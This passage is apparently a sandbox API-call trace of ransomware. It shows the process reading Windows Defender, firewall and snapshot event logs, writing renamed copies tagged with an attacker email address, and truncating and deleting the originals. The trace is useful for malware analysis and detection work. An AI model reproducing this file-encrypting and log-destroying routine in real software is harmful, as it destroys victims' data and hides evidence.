(lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65 [0066.064] lstrlenW (lpString=".dbf") returned 4 [0066.064] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0066.064] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65 [0066.064] lstrlenW (lpString=".1cd") returned 4 [0066.064] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0066.064] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65 [0066.064] lstrlenW (lpString=".jpg") returned 4 [0066.064] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0066.064] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65 [0066.064] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65 [0066.064] lstrlenW (lpString=".doc") returned 4 [0066.064] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0066.064] lstrlenW (lpString=".docx") returned 5 [0066.064] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0066.064] lstrlenW (lpString=".pdf") returned 4 [0066.064] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0066.064] lstrlenW (lpString=".xls") returned 4 [0066.064] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0066.064] lstrlenW (lpString=".xlsx") returned 5 [0066.064] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0066.064] lstrlenW (lpString=".ppt") returned 4 [0066.064] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0066.064] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65 [0066.064] lstrlenW (lpString=".zip") returned 4 [0066.064] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0066.064] lstrlenW (lpString=".rar") returned 4 [0066.065] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0066.065] lstrlenW (lpString=".bz2") returned 4 [0066.065] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0066.065] lstrlenW (lpString=".7z") returned 3 [0066.065] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0066.065] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65 [0066.065] lstrlenW (lpString=".dbf") returned 4 [0066.065] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0066.065] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65 [0066.065] lstrlenW (lpString=".1cd") returned 4 [0066.065] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0066.065] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65 [0066.065] lstrlenW (lpString=".jpg") returned 4 [0066.065] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0066.065] lstrcmpiW (lpString1=".evtx", lpString2=".save") returned -1 [0066.065] lstrlenW (lpString="Microsoft-Windows-Windows Defender%4Operational.evtx") returned 52 [0066.065] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0066.065] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=69632) returned 1 [0066.066] CloseHandle (hObject=0x378) returned 1 [0066.066] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx")) returned 0x20 [0066.066] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0066.066] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0066.066] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0066.066] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0066.066] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0066.066] GetLastError () returned 0x0 [0066.066] ReadFile (in: hFile=0x378, lpBuffer=0x3afc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesRead=0x300fecc*=0x11000, lpOverlapped=0x0) returned 1 [0066.069] WriteFile (in: hFile=0x374, lpBuffer=0x3afc020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesWritten=0x300fc94*=0x11010, lpOverlapped=0x0) returned 1 [0066.071] ReadFile (in: hFile=0x378, lpBuffer=0x3afc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0066.071] WriteFile (in: hFile=0x374, lpBuffer=0x3afc020*, nNumberOfBytesToWrite=0x13c, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesWritten=0x300fc94*=0x13c, lpOverlapped=0x0) returned 1 [0066.071] SetEndOfFile (hFile=0x374) returned 1 [0066.071] CloseHandle (hObject=0x374) returned 1 [0066.074] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0066.074] SetEndOfFile (hFile=0x378) returned 1 [0066.075] CloseHandle (hObject=0x378) returned 1 [0066.075] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0066.075] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx")) returned 1 [0066.075] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0066.075] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0066.075] lstrlenW (lpString=".doc") returned 4 [0066.075] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0066.076] lstrlenW (lpString=".docx") returned 5 [0066.076] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0066.076] lstrlenW (lpString=".pdf") returned 4 [0066.076] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0066.076] lstrlenW (lpString=".xls") returned 4 [0066.076] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0066.076] lstrlenW (lpString=".xlsx") returned 5 [0066.076] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0066.076] lstrlenW (lpString=".ppt") returned 4 [0066.076] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0066.076] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0066.076] lstrlenW (lpString=".zip") returned 4 [0066.076] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0066.076] lstrlenW (lpString=".rar") returned 4 [0066.076] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0066.076] lstrlenW (lpString=".bz2") returned 4 [0066.076] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0066.076] lstrlenW (lpString=".7z") returned 3 [0066.076] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0066.076] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0066.076] lstrlenW (lpString=".dbf") returned 4 [0066.076] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0066.076] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0066.076] lstrlenW (lpString=".1cd") returned 4 [0066.076] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0066.076] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0066.076] lstrlenW (lpString=".jpg") returned 4 [0066.076] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0066.076] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0066.076] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0066.076] lstrlenW (lpString=".doc") returned 4 [0066.077] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0066.077] lstrlenW (lpString=".docx") returned 5 [0066.077] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0066.077] lstrlenW (lpString=".pdf") returned 4 [0066.077] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0066.077] lstrlenW (lpString=".xls") returned 4 [0066.077] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0066.077] lstrlenW (lpString=".xlsx") returned 5 [0066.077] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0066.077] lstrlenW (lpString=".ppt") returned 4 [0066.077] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0066.077] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0066.077] lstrlenW (lpString=".zip") returned 4 [0066.077] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0066.077] lstrlenW (lpString=".rar") returned 4 [0066.077] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0066.077] lstrlenW (lpString=".bz2") returned 4 [0066.077] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0066.077] lstrlenW (lpString=".7z") returned 3 [0066.077] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0066.077] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0066.077] lstrlenW (lpString=".dbf") returned 4 [0066.077] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0066.077] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0066.077] lstrlenW (lpString=".1cd") returned 4 [0066.077] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0066.077] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0066.077] lstrlenW (lpString=".jpg") returned 4 [0066.077] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0066.078] lstrcmpiW (lpString1=".evtx", lpString2=".save") returned -1 [0066.078] lstrlenW (lpString="Microsoft-Windows-Windows Defender%4WHC.evtx") returned 44 [0066.078] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0066.078] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=69632) returned 1 [0066.078] CloseHandle (hObject=0x378) returned 1 [0066.078] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx")) returned 0x20 [0066.078] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0066.078] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0066.078] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0066.078] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0066.078] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0066.079] GetLastError () returned 0x0 [0066.079] ReadFile (in: hFile=0x378, lpBuffer=0x3afc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesRead=0x300fecc*=0x11000, lpOverlapped=0x0) returned 1 [0066.082] WriteFile (in: hFile=0x374, lpBuffer=0x3afc020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesWritten=0x300fc94*=0x11010, lpOverlapped=0x0) returned 1 [0066.084] ReadFile (in: hFile=0x378, lpBuffer=0x3afc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0066.084] WriteFile (in: hFile=0x374, lpBuffer=0x3afc020*, nNumberOfBytesToWrite=0x12c, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesWritten=0x300fc94*=0x12c, lpOverlapped=0x0) returned 1 [0066.084] SetEndOfFile (hFile=0x374) returned 1 [0066.084] CloseHandle (hObject=0x374) returned 1 [0066.086] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0066.086] SetEndOfFile (hFile=0x378) returned 1 [0066.087] CloseHandle (hObject=0x378) returned 1 [0066.087] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0066.088] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx")) returned 1 [0066.088] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0066.088] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0066.088] lstrlenW (lpString=".doc") returned 4 [0066.088] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0066.088] lstrlenW (lpString=".docx") returned 5 [0066.088] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0066.088] lstrlenW (lpString=".pdf") returned 4 [0066.088] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0066.088] lstrlenW (lpString=".xls") returned 4 [0066.088] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0066.088] lstrlenW (lpString=".xlsx") returned 5 [0066.088] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0066.088] lstrlenW (lpString=".ppt") returned 4 [0066.088] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0066.088] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0066.088] lstrlenW (lpString=".zip") returned 4 [0066.089] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0066.089] lstrlenW (lpString=".rar") returned 4 [0066.089] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0066.089] lstrlenW (lpString=".bz2") returned 4 [0066.089] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0066.089] lstrlenW (lpString=".7z") returned 3 [0066.089] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0066.089] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0066.089] lstrlenW (lpString=".dbf") returned 4 [0066.089] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0066.089] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0066.089] lstrlenW (lpString=".1cd") returned 4 [0066.089] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0066.089] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0066.089] lstrlenW (lpString=".jpg") returned 4 [0066.089] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0066.089] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0066.089] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0066.089] lstrlenW (lpString=".doc") returned 4 [0066.089] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0066.089] lstrlenW (lpString=".docx") returned 5 [0066.089] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0066.089] lstrlenW (lpString=".pdf") returned 4 [0066.089] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0066.089] lstrlenW (lpString=".xls") returned 4 [0066.089] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0066.089] lstrlenW (lpString=".xlsx") returned 5 [0066.089] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0066.089] lstrlenW (lpString=".ppt") returned 4 [0066.089] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0066.090] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0066.090] lstrlenW (lpString=".zip") returned 4 [0066.090] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0066.090] lstrlenW (lpString=".rar") returned 4 [0066.090] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0066.090] lstrlenW (lpString=".bz2") returned 4 [0066.090] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0066.090] lstrlenW (lpString=".7z") returned 3 [0066.090] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0066.090] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0066.090] lstrlenW (lpString=".dbf") returned 4 [0066.090] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0066.090] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0066.090] lstrlenW (lpString=".1cd") returned 4 [0066.090] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0066.090] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0066.090] lstrlenW (lpString=".jpg") returned 4 [0066.090] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0066.090] lstrcmpiW (lpString1=".evtx", lpString2=".save") returned -1 [0066.090] lstrlenW (lpString="Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 82 [0066.090] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0066.091] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=69632) returned 1 [0066.091] CloseHandle (hObject=0x378) returned 1 [0066.091] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx")) returned 0x20 [0066.091] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0066.984] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0066.984] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0066.984] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0066.985] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0066.985] GetLastError () returned 0x0 [0066.985] ReadFile (in: hFile=0x2ec, lpBuffer=0x3afc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesRead=0x300fecc*=0x11000, lpOverlapped=0x0) returned 1 [0066.988] WriteFile (in: hFile=0x374, lpBuffer=0x3afc020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesWritten=0x300fc94*=0x11010, lpOverlapped=0x0) returned 1 [0066.990] ReadFile (in: hFile=0x2ec, lpBuffer=0x3afc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0066.990] WriteFile (in: hFile=0x374, lpBuffer=0x3afc020*, nNumberOfBytesToWrite=0x178, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesWritten=0x300fc94*=0x178, lpOverlapped=0x0) returned 1 [0066.990] SetEndOfFile (hFile=0x374) returned 1 [0066.990] CloseHandle (hObject=0x374) returned 1 [0066.993] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0066.993] SetEndOfFile (hFile=0x2ec) returned 1 [0066.994] CloseHandle (hObject=0x2ec) returned 1 [0066.994] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0066.995] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx")) returned 1 [0066.995] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90 [0066.995] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90 [0066.995] lstrlenW (lpString=".doc") returned 4 [0066.995] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0066.995] lstrlenW (lpString=".docx") returned 5 [0066.995] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0066.995] lstrlenW (lpString=".pdf") returned 4 [0066.995] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0066.995] lstrlenW (lpString=".xls") returned 4 [0066.995] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0066.995] lstrlenW (lpString=".xlsx") returned 5 [0066.995] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0066.995] lstrlenW (lpString=".ppt") returned 4 [0066.995] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0066.995] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90 [0066.995] lstrlenW (lpString=".zip") returned 4 [0066.995] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0066.995] lstrlenW (lpString=".rar") returned 4 [0066.996] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0066.996] lstrlenW (lpString=".bz2") returned 4 [0066.996] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0066.996] lstrlenW (lpString=".7z") returned 3 [0066.996] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0066.996] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90 [0066.996] lstrlenW (lpString=".dbf") returned 4 [0066.996] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0066.996] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90 [0066.996] lstrlenW (lpString=".1cd") returned 4 [0066.996] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0066.996] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90 [0066.996] lstrlenW (lpString=".jpg") returned 4 [0066.996] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0066.996] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90 [0066.996] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90 [0066.996] lstrlenW (lpString=".doc") returned 4 [0066.996] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0066.996] lstrlenW (lpString=".docx") returned 5 [0066.996] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0066.996] lstrlenW (lpString=".pdf") returned 4 [0066.996] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0066.996] lstrlenW (lpString=".xls") returned 4 [0066.996] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0066.996] lstrlenW (lpString=".xlsx") returned 5 [0066.996] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0066.996] lstrlenW (lpString=".ppt") returned 4 [0066.996] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0066.996] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With 